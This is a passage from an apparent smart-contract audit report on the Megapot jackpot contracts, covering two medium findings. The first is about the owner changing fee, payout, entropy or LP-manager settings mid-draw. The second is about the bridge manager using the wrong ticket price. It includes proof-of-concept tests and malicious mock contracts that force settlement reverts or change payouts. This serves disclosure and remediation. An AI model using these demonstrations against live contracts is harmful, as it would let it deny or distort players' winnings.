// max bonus ball purchase reverts due to overflow
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
jackpot.buyTickets(tickets, buyer, referrers, referralSplit, "test");
vm.stopPrank();
}
}
}
Then run forge test --mt testSubmissionValidity --via-ir to run the POC.
Medium Risk Findings (8)
[M-01] Global Variable Manipulation During Active Draw Alters End Result
Submitted by Alex_Cipher, also found by 0x1982us, 0xDelvine, 0xkrodhan, 0xnightswatch, 0xnija, 0xRakesh, 0xsagetony, 0xscater, 0xSecurious, 0xvd, adriansham99, Agontuk, AlexCzm, anchabadze, Aristos, Avalance, BengalCatBalu, boodieboodieboo, caglankaan, ChainSentry, d33p, Daniel_eth, dantehrani, deividrobinson, EVDoc, falde, felconsec, Fon, fromeo_016, galer_ah, h2134, HackTwist, iam_emptyset, Ishenxx, jaykosai, jerry0422, Kalogerone, khaye26, kind0dev, KKKKK, KuwaTakushi, mrudenko, mser, nathan47, niffylord, Nyxaris, oakcobalt, osok, overseer, piyushmali, prk0, PureVessel, queen, rfa, rokinot, saraswati, SavantChat, ScarletFir, shiazinho, Sneks, SOPROBRO, SpicyMeatball, sudais_b, Synthrax, touristS, vesko210, Vivekz, Waze, yeahChibyke, zcai, and ZeronautX
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L905-L910
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1193-L1199
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1171-L1177
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1059-L1065
Finding description and impact
The core issue lies in the ability of the owner to modify global configuration variables during an active jackpot draw. These parameters directly influence jackpot settlement logic, fee distribution, payout calculation, and even randomness handling.
Because these values are read during settlement (after tickets have been purchased but before the draw is finalized), changing them mid-round allows the owner to unfairly alter the outcome of the draw or cause settlement failures.
Specifically, the following global variables can be updated during an active draw:
protocolFeereferralFeepayoutCalculatorentropy(entropy provider)jackpotLPManager
Each of these variables can alter the draw’s behavior or payout path:
protocolFee/referralFee— allow manipulation of fee distribution to reduce/increse rewards to players.payoutCalculator— can redirect or alter payout logic to arbitrary addresses.entropy— can manipulate randomness or prevent valid settlement.jackpotLPManager— can revert settlements or redirect LP-related funds.
Impact:
This undermines jackpot integrity, enabling admin-based manipulation of winnings, payout denial, or DoS of settlement — a severe trust and fairness violation affecting all players.
Recommended mitigation steps
- Restrict all configuration-changing functions (those modifying global variables like the above) to be callable only when no active draw is in progress.
- Introduce a locking mechanism that freezes sensitive parameters once a draw is initialized (
initializeJackpot()called) until settlement completes.
Expand for detailed Proof of Concept
Proof of Concept
TESTS
🧪 PoC 1 — Setting LPManager Affects Settlement (JackpotLPManager)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin/malicious LPManager affects settlement (JackpotLPManager)", function () {
it("Case A: normal LP manager succeeds; Case B: malicious LP manager causes revert on settlement", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts (original system)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal LP manager runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: Deploy malicious LP manager and create a fresh jackpot that uses it
const MaliciousLP = await ethers.getContractFactory("MaliciousLPManagerMock");
const maliciousLP = await MaliciousLP.connect(owner.wallet).deploy();
// Deploy a new Jackpot with the same params but using the malicious LP manager
const newJackpot = await deployer.deployJackpot(
deploymentParams.drawingDurationInSeconds,
deploymentParams.normalBallMax,
deploymentParams.bonusballMin,
deploymentParams.lpEdgeTarget,
deploymentParams.reserveRatio,
deploymentParams.referralFee,
deploymentParams.referralWinShare,
deploymentParams.protocolFee,
deploymentParams.protocolFeeThreshold,
deploymentParams.ticketPrice,
deploymentParams.maxReferrers,
deploymentParams.entropyBaseGasLimit
);
const newJackpotNFT = await deployer.deployJackpotTicketNFT(await newJackpot.getAddress());
const newPayoutCalculator = await deployer.deployGuaranteedMinimumPayoutCalculator(
await newJackpot.getAddress(),
deploymentParams.minimumPayout,
deploymentParams.premiumTierMinAllocation,
deploymentParams.minPayoutTiers,
deploymentParams.premiumTierWeights
);
const newEntropyProvider = await deployer.deployScaledEntropyProviderMock(
deploymentParams.entropyFee,
await newJackpot.getAddress(),
newJackpot.interface.getFunction("scaledEntropyCallback").selector
);
// Initialize the new jackpot with malicious LP manager
await newJackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await maliciousLP.getAddress(),
await newJackpotNFT.getAddress(),
await newEntropyProvider.getAddress(),
await newPayoutCalculator.getAddress()
);
// Prepare LP deposit for new jackpot
await newJackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await newJackpot.getAddress(), usdc(100000));
await newJackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize new jackpot
const now2 = (await ethers.provider.getBlock("latest"))!.timestamp;
await newJackpot.connect(owner.wallet).initializeJackpot(now2 + 1);
await time.increase(3);
// Buyer purchases tickets on the new jackpot
await usdcMock.connect(buyerOne.wallet).approve(await newJackpot.getAddress(), usdc(1000));
await newJackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness for new jackpot
const fee2 = await newJackpot.getEntropyCallbackFee();
await newJackpot.connect(buyerOne.wallet).runJackpot({ value: fee2 });
// Attempt to callback via the new entropy provider which should trigger the malicious LP manager revert
await expect(newEntropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious LP Manager"
);
// Confirm new jackpot did not progress
const afterIdB = Number((await newJackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 2 — Admin Alters Entropy Provider Mid-Draw (EntropyProvider Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (entropy provider)", function () {
it("Case A: normal provider works; Case B: malicious provider causes DOS / revert", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal provider runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: deploy malicious provider and set it as the entropy provider
const Malicious = await ethers.getContractFactory("MaliciousEntropyProviderMock");
const malicious = await Malicious.connect(owner.wallet).deploy(ether(0.00001));
const maliciousAddr = await malicious.getAddress();
await jackpot.connect(owner.wallet).setEntropy(maliciousAddr);
// Attempt to invoke callback via malicious provider - expect revert (DOS)
await expect(malicious.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious provider: refusing to callback"
);
// Confirm drawing did not progress
const afterIdB = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 3 — Admin Modifies Protocol Fee During Active Draw (Protocol Fee Exploit)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (protocolFee)", function () {
it("changing protocolFee before callback changes protocol fee extracted at settlement", async function () {
// Deploy full fixture
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Initialize LP deposits (set a large cap)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(1000000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot (set initial drawing time to now)
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buyer purchases multiple tickets to create sufficient lpEarnings > protocolFeeThreshold
const tickets = [] as any[];
for (let i = 0; i < 10; i++) {
tickets.push({ normals: [1n, 2n, 3n, 4n, 5n], bonusball: 1n });
}
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot) and fund with provider fee
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
// Prepare deterministic randomness: two arrays (5 normals, 1 bonusball) that don't match purchased tickets
const randomNumbers = [
[10, 11, 12, 13, 14],
[6]
];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Ensure Case A uses a protocolFee of 0.01 (explicit) then snapshot the chain state right before callback
const originalFee = ether(0.01);
await jackpot.connect(owner.wallet).setProtocolFee(originalFee);
const snapshot = await takeSnapshot();
// Case A: use the current protocolFee (as deployed)
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot (before callback)
await snapshot.restore();
// Case B: change protocolFee to a different value mid-drawing, then callback
const higherFee = ether(0.02); // 2%
await jackpot.connect(owner.wallet).setProtocolFee(higherFee);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Assert that collected protocol fees differ when protocolFee changed mid-drawing
expect(collectedA).to.not.equal(collectedB);
// If higherFee > original, the later collected amount should be >= earlier (sanity)
expect(collectedB >= collectedA).to.be.true;
});
});
🧪 PoC 4 — Admin Changes Payout Calculator (Winnings Distortion)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
describe("PoC: admin changes mid-drawing affect settlement (payoutCalculator)", function () {
it("swapping payoutCalculator before callback changes drawing user winnings and protocol fee", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 5; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], "0x0000000000000000000000000000000000000000000000000000000000000000");
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Snapshot right before callback
const snapshot = await takeSnapshot();
// Case A: use original payoutCalculator
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot
await snapshot.restore();
// Case B
// Deploy a mock payout calculator that returns slightly larger user winnings (multiplier > 1e18 but modest)
const Mock = await ethers.getContractFactory("MockPayoutCalculator");
// multiplier 1.1x = 1.1e18 (use integer math)
const mult = (ether(1) * 11n) / 10n;
const mock = await Mock.connect(owner.wallet).deploy(mult);
const mockAddr = await mock.getAddress();
// Swap payout calculator (admin action) before callback
await jackpot.connect(owner.wallet).setPayoutCalculator(mockAddr);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Swapping to a different payout calculator should change the protocol fee collected at settlement
expect(collectedA).to.not.equal(collectedB);
});
});
🧪 PoC 5 — Admin Modifies Referral Fee (Refund Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect refunds (referralFee)", function () {
it("changing referralFee before emergency refund changes refund amount", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
lpOne,
buyerOne,
referrerOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts (use addresses from the fixture)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Ensure LP deposits and first drawing are set up (reuse the same sequence as other PoCs)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
// Give buyerOne a small amount and initialize the jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buy a single ticket with a referral scheme (referrerOne gets 100%)
const tickets = [{ normals: [1n,2n,3n,4n,5n], bonusball: 1n }];
const referrers = [referrerOne.address];
const referralSplit = [ether(1)]; // 100% to single referrer
// Approve and buy
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(10));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, referrers, referralSplit, ZERO_BYTES32);
// Identify the minted ticket id via the NFT helper
const drawingId = Number((await jackpot.currentDrawingId()).toString());
const userTickets = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
expect(userTickets.length).to.be.greaterThan(0);
const ticketId = userTickets[0].ticketId;
// Snapshot the chain right before emergency/refund
const snapshot = await takeSnapshot();
// Case A: set referralFee to original (e.g., 6.5%) then enable emergency and refund
const originalReferralFee = ether(0.065);
await jackpot.connect(owner.wallet).setReferralFee(originalReferralFee);
// Enable emergency mode and perform refund
await jackpot.connect(owner.wallet).enableEmergencyMode();
const beforeA = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketId]);
const afterA = await usdcMock.balanceOf(buyerOne.address);
const refundedA = afterA - beforeA;
// Revert to snapshot (ticket and balances restored)
await snapshot.restore();
// Case B: increase referralFee (10%) before refund, then enable emergency and refund
const higherReferralFee = ether(0.1);
await jackpot.connect(owner.wallet).setReferralFee(higherReferralFee);
await jackpot.connect(owner.wallet).enableEmergencyMode();
const userTicketsB = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
const ticketIdB = userTicketsB[0].ticketId;
const beforeB = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketIdB]);
const afterB = await usdcMock.balanceOf(buyerOne.address);
const refundedB = afterB - beforeB;
// The refund uses `ticketPrice * (1 - referralFee)` when a referral scheme exists.
// Therefore increasing referralFee should *decrease* the refund amount.
expect(refundedA).to.not.equal(refundedB);
expect(refundedA > refundedB).to.be.true;
});
});
Mocks
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IScaledEntropyProvider } from "../interfaces/IScaledEntropyProvider.sol";
/**
* @notice Malicious entropy provider used for PoC testing.
* Its `randomnessCallback` intentionally reverts to simulate a DOS or faulty provider.
*/
contract MaliciousEntropyProviderMock is IScaledEntropyProvider {
uint256 public fee;
constructor(uint256 _fee) {
fee = _fee;
}
function requestAndCallbackScaledRandomness(
uint32,
IScaledEntropyProvider.SetRequest[] memory,
bytes4,
bytes memory
) external payable returns (uint64 requestId) {
// Record request but do nothing special; return id
requestId = uint64(1);
}
function randomnessCallback(uint256[][] memory) external {
revert("Malicious provider: refusing to callback");
}
function getFee(uint32) external view returns (uint256) {
return fee;
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IJackpotLPManager } from "../interfaces/IJackpotLPManager.sol";
contract MaliciousLPManagerMock is IJackpotLPManager {
// Use an internal struct name to avoid conflicting with the interface's LPDrawingState
struct InternalLPState {
uint256 lpPoolTotal;
uint256 pendingDeposits;
uint256 pendingWithdrawals;
}
mapping(uint256 => InternalLPState) internal states;
function processDeposit(uint256 _drawingId, address /* _lpAddress */, uint256 _amount) external override {
// Track pending deposits so Jackpot.initializeJackpot can proceed
states[_drawingId].pendingDeposits += _amount;
states[_drawingId].lpPoolTotal += _amount;
}
function processInitiateWithdraw(uint256, address, uint256) external override {
// no-op
}
function processFinalizeWithdraw(uint256, address) external pure override returns (uint256 withdrawableAmount) {
return 0;
}
function processDrawingSettlement(
uint256 _drawingId,
uint256 /* _lpEarnings */,
uint256 /* _userWinnings */,
uint256 /* _protocolFeeAmount */
) external override returns (uint256, uint256) {
// Allow the initial settlement called during initializeJackpot (drawing 0) to succeed
// but become malicious for real drawings (drawingId > 0)
if (_drawingId == 0) {
uint256 newLPValue = states[_drawingId].lpPoolTotal;
return (newLPValue, 1e18);
}
revert("Malicious LP Manager");
}
function emergencyWithdrawLP(uint256, address) external pure override returns (uint256 withdrawableAmount) {
return 0;
}
function initializeDrawingLP(uint256 _drawingId, uint256 _initialLPValue) external override {
states[_drawingId].lpPoolTotal = _initialLPValue;
}
function setLPPoolCap(uint256, uint256) external override {
// no-op
}
function initializeLP() external override {
// no-op
}
function getDrawingAccumulator(uint256 _drawingId) external view override returns (uint256) {
return states[_drawingId].lpPoolTotal == 0 ? 0 : 1e18;
}
function getLPDrawingState(uint256 _drawingId) external view override returns (LPDrawingState memory) {
InternalLPState memory s = states[_drawingId];
return LPDrawingState({ lpPoolTotal: s.lpPoolTotal, pendingDeposits: s.pendingDeposits, pendingWithdrawals: s.pendingWithdrawals });
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "../interfaces/IPayoutCalculator.sol";
/**
* @notice Simple mock payout calculator used for PoC testing.
* It returns drawing winnings equal to prizePool * multiplier (PRECISE_UNIT scale).
*/
contract MockPayoutCalculator is IPayoutCalculator {
uint256 public multiplier; // PRECISE_UNIT scale
mapping(uint256 => uint256) public drawingWinnings;
constructor(uint256 _multiplier) {
multiplier = _multiplier;
}
function setMultiplier(uint256 _multiplier) external {
multiplier = _multiplier;
}
function setDrawingTierInfo(uint256 /* _drawingId */) external pure override {
// No-op for mock
}
function calculateAndStoreDrawingUserWinnings(
uint256 _drawingId,
uint256 _prizePool,
uint8 /* _ballMax */,
uint8 /* _bonusballMax */,
uint256[] memory /* _result */,
uint256[] memory /* _dupResult */
) external override returns (uint256) {
// Multiply prizePool by multiplier (1e18 scale)
uint256 w = (_prizePool * multiplier) / 1e18;
drawingWinnings[_drawingId] = w;
return w;
}
function getTierPayout(uint256 _drawingId, uint256 /* _tierId */) external view override returns (uint256) {
// For simplicity, split total evenly across 12 tiers
uint256 total = drawingWinnings[_drawingId];
return total / 12;
}
}
[M-02] Incorrect ticket price reference in JackpotBridgeManager causes user overpayment after price updates
Submitted by avoloder, also found by 0xDemon, 0xHarryBarz, 0xIconart, 0xnija, 0xvd, Agontuk, AlexCzm, AnantaDeva, Bbash, codertjay, dantehrani, Dulgiq, ephraimvvs, gkrastenov, glorbo, grigorovv, h2134, ht111111, InvarianteX, jaykosai, jerry0422, Nyxaris, prk0, rokinot, Samueltroydomi, saraswati, SarveshLimaye, SavantChat, ScarletFir, securehash1, stakog, threadmodeling, trailongoswami, Varun_05, vesko210, y4y, zcai, and Ziusz
Finding description and impact
In the Jackpot.sol contract, several parameters define each drawing (such as ticketPrice, bonusBall, etc.). These parameters are set at the beginning of a drawing and remain immutable for its duration. Any updates made by governance or an admin only take effect in subsequent drawings; the parameters of the current drawing are never affected.
Critical Timing Considerations:
- Drawing Parameter Isolation: All drawing parameters (ticketPrice, normalBallMax, bonusballMax, referralWinShare) are frozen when the drawing is initialized
- Mid-Drawing Safety: Global parameter changes during active drawings do NOT affect current ticket purchases
- Next Drawing Impact: All parameter changes only take effect in the next drawing parameterization
This finding also addresses the following guiding question:
Can admin changes (e.g., ticketPrice, normalBallMax, fees) made mid-drawing create inconsistent states or violate expectations for players/LPs?
JackpotBridgeManager is a cross-chain bridge that enables ticket purchases and winnings claims across different blockchains. It acts as a custodian and defines the following flow for ticket purchases:
- The user initiates a ticket purchase through the JackpotBridgeManager, providing all required information.
- The JackpotBridgeManager fetches the current single-ticket price and calculates a total amount based on the number of tickets user wants. It then pulls the corresponding funds from the user.
- Afterwards, It approves the Jackpot contract to spend the same amount, allowing the Jackpot contract to pull the funds when needed.
- The JackpotBridgeManager calls the buyTickets function on the Jackpot contract to execute the purchase.
- The Jackpot contract pulls the required funds from the JackpotBridgeManager to complete the transaction.
The problem is that the JackpotBridgeManager fetches the current ticket price defined in the Jackpot contract and not the ticket price of an actual drawing. This leads to two scenarios if the ticket price is updated:
- Price Increase
If the ticket price is increased after a drawing has started, users who purchase tickets through the JackpotBridgeManager will overpay, as it fetches the latest global ticket price rather than the price fixed for the current drawing. The excess funds instead remain locked inside the JackpotBridgeManager contract.
- Price decrease
If the ticket price is decreased after a drawing has started, it would result in a complete denial of service (DoS) of the manager’s buyTickets function. Because the price is lower, the manager would pull fewer funds than required for the actual purchase and, as a result, would not approve a sufficient amount for the Jackpot contract. This leads to an “insufficient approval” revert when the Jackpot contract attempts to pull the funds from the manager
Impact
Impact is High, as both likelihood and impact (Loss of funds, DoS) are High
Recommended mitigation steps
Make sure to fetch the ticket price of an actual drawing and not the latest one from the Jackpot when purchasing tickets through JackpotBridgeManager
uint256 ticketPrice = jackpot.getDrawingState(currentDrawingId).ticketPrice;
Expand for detailed Proof of Concept
Proof of Concept
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
DrawingState,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
beforeEach(async () => {
[
owner,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000));
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1000000));
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("PoC", async () => {
let subjectTickets: Ticket[];
let subjectRecipient: Address;
